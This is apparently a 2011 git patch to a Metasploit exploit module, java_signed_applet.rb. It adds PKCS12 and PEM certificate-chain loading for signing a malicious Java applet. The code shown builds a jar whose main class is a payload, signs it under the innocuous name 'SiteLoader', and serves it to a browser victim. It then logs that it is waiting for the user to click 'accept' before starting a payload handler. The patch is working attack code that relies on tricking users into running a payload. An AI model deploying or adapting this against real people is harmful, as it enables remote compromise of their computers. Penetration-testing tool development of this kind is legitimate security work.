From c5781ae5152095d5e75dd48f418aef16f28f633f Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 26 May 2011 17:52:12 +0000 Subject: [PATCH] add support for PKCS12 (.pfx) cert/key files and cert chains in PEM files git-svn-id: file:///home/svn/framework3/trunk@12735 4d416f70-5f16-0410-b530-b9f4589650da --- .../multi/browser/java_signed_applet.rb | 140 +++++++++--------- 1 file changed, 70 insertions(+), 70 deletions(-) diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index bfc256fc0c..b299863ac6 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -13,6 +13,8 @@ require 'msf/core' require 'rex' require 'rex/zip' +load './lib/rex/zip/jar.rb' + class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -81,17 +83,31 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultTarget' => 1 )) - register_options( - [ - OptString.new('CERTCN', [ true, "The CN= value for the certificate. Cannot contain ',' or '/'", "SiteLoader" ]), - OptString.new('APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]), - OptPath.new('SigningCert', [ false, "Path to a signing certificate. Values from the cert will override CERTCN" ]), + register_options( [ + OptString.new('CERTCN', [ true, + "The CN= value for the certificate. Cannot contain ',' or '/'", + "SiteLoader" + ]), + OptString.new('APPLETNAME', [ true, + "The main applet's class name.", + "SiteLoader" + ]), + OptPath.new('SigningCert', [ false, + "Path to a signing certificate in PEM or PKCS12 (.pfx) format" + ]), + OptPath.new('SigningKey', [ false, + "Path to a signing key in PEM format" + ]), + OptString.new('SigningKeyPass', [ false, + "Password for signing key (required if SigningCert is a .pfx)" + ]), + ], self.class) + end - # Not implemented yet. - #OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]), - # Needs Rex::Zip to be able to crack zip files - #OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]), - ], self.class) + + def setup + load_cert + super end @@ -123,21 +139,55 @@ class Metasploit3 < Msf::Exploit::Remote data_dir = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet") jar.add_file("SiteLoader.class", File.read(File.join(data_dir, "SiteLoader.class"))) - jar.build_manifest + jar.build_manifest(:main_class => "metasploit.Payload") + jar.sign(@key, @cert, @ca_certs) + #File.open("payload.jar", "wb") { |f| f.write(jar.to_s) } + + print_status( + "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+ + "Waiting for user to click 'accept'...") + send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } ) + + handler( cli ) + + end + + def load_cert if datastore["SigningCert"] cert_str = File.read(datastore["SigningCert"]) - @cert = OpenSSL::X509::Certificate.new(cert_str) - - # First try it as RSA and fallback to DSA if that doesn't work begin - @key = OpenSSL::PKey::RSA.new(cert_str) - rescue OpenSSL::PKey::RSAError => e - @key = OpenSSL::PKey::DSA.new(cert_str) + pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"]) + @cert = pfx.certificate + @key = pfx.key + @ca_certs = pfx.ca_certs + + rescue OpenSSL::PKCS12::PKCS12Error + # it wasn't pkcs12, try it as concatenated PEMs + certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m) + @cert = OpenSSL::X509::Certificate.new(certs.shift) + @ca_certs = nil + while certs.length > 0 + @ca_certs ||= [] + @ca_certs << OpenSSL::X509::Certificate.new(certs.shift) + end + + if datastore["SigningKey"] and File.file?(datastore["SigningKey"]) + key_str = File.read(datastore["SigningKey"]) + else + key_str = cert_str + end + + # First try it as RSA and fallback to DSA if that doesn't work + begin + @key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"]) + rescue OpenSSL::PKey::RSAError => e + @key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"]) + end end else - # Name.parse uses a simple regex that isn't smart enough to allow slashes or - # commas in values, just remove them. + # Name.parse uses a simple regex that isn't smart enough to allow + # slashes or commas in values, just remove them. certcn = datastore["CERTCN"].gsub(%r|[/,]|, "") x509_name = OpenSSL::X509::Name.parse( "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}" @@ -153,19 +203,9 @@ class Metasploit3 < Msf::Exploit::Remote @cert.not_before = Time.now @cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years end - - jar.sign(@key, @cert) - File.open("payload.jar", "wb") { |f| f.write(jar.to_s) } - - print_status( - "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+ - "Waiting for user to click 'accept'...") - send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } ) - - handler( cli ) - end + def generate_html html = %Q|Loading, Please Wait...\n| html << %Q|

Loading, Please Wait...

\n| @@ -179,46 +219,6 @@ class Metasploit3 < Msf::Exploit::Remote return html end - def build_static_sig(jar) - files = [ - "metasploit/Payload.class", - "SiteLoader.class", - "META-INF/MANIFEST.MF", - "META-INF/SIGNFILE.RSA", - "META-INF/SIGNFILE.SF", - ] - - # Ghetto. Replace existing files in the Jar, then add in - # anything that wasn't replaced. The reason for replacing the - # .class files is to ensure that we're sending the - # Payload.class as was signed rather than a newer one that was - # updated without updating the signature. We'll just have to - # cross our fingers and hope that any updates don't break - # backwards compatibility in the handler until we can get - # signing to work from ruby. Once we can sign jars directly - # from ruby using OpenSSL, this won't be a problem. - replaced = [] - # Replace the ones that are already there. - jar.entries.map do |e| - file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name) - if File.file? file - File.open(file, "rb") do |f| - e.data = f.read(f.stat.size) - end - end - replaced << e.name - end - # Add the rest - files.each { |e| - next if replaced.include? e - file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e) - File.open(file, "rb") do |f| - jar.add_file(e, f.read(f.stat.size)) - end - } - - jar - end # Currently unused until we ship a java compiler of some sort def applet_code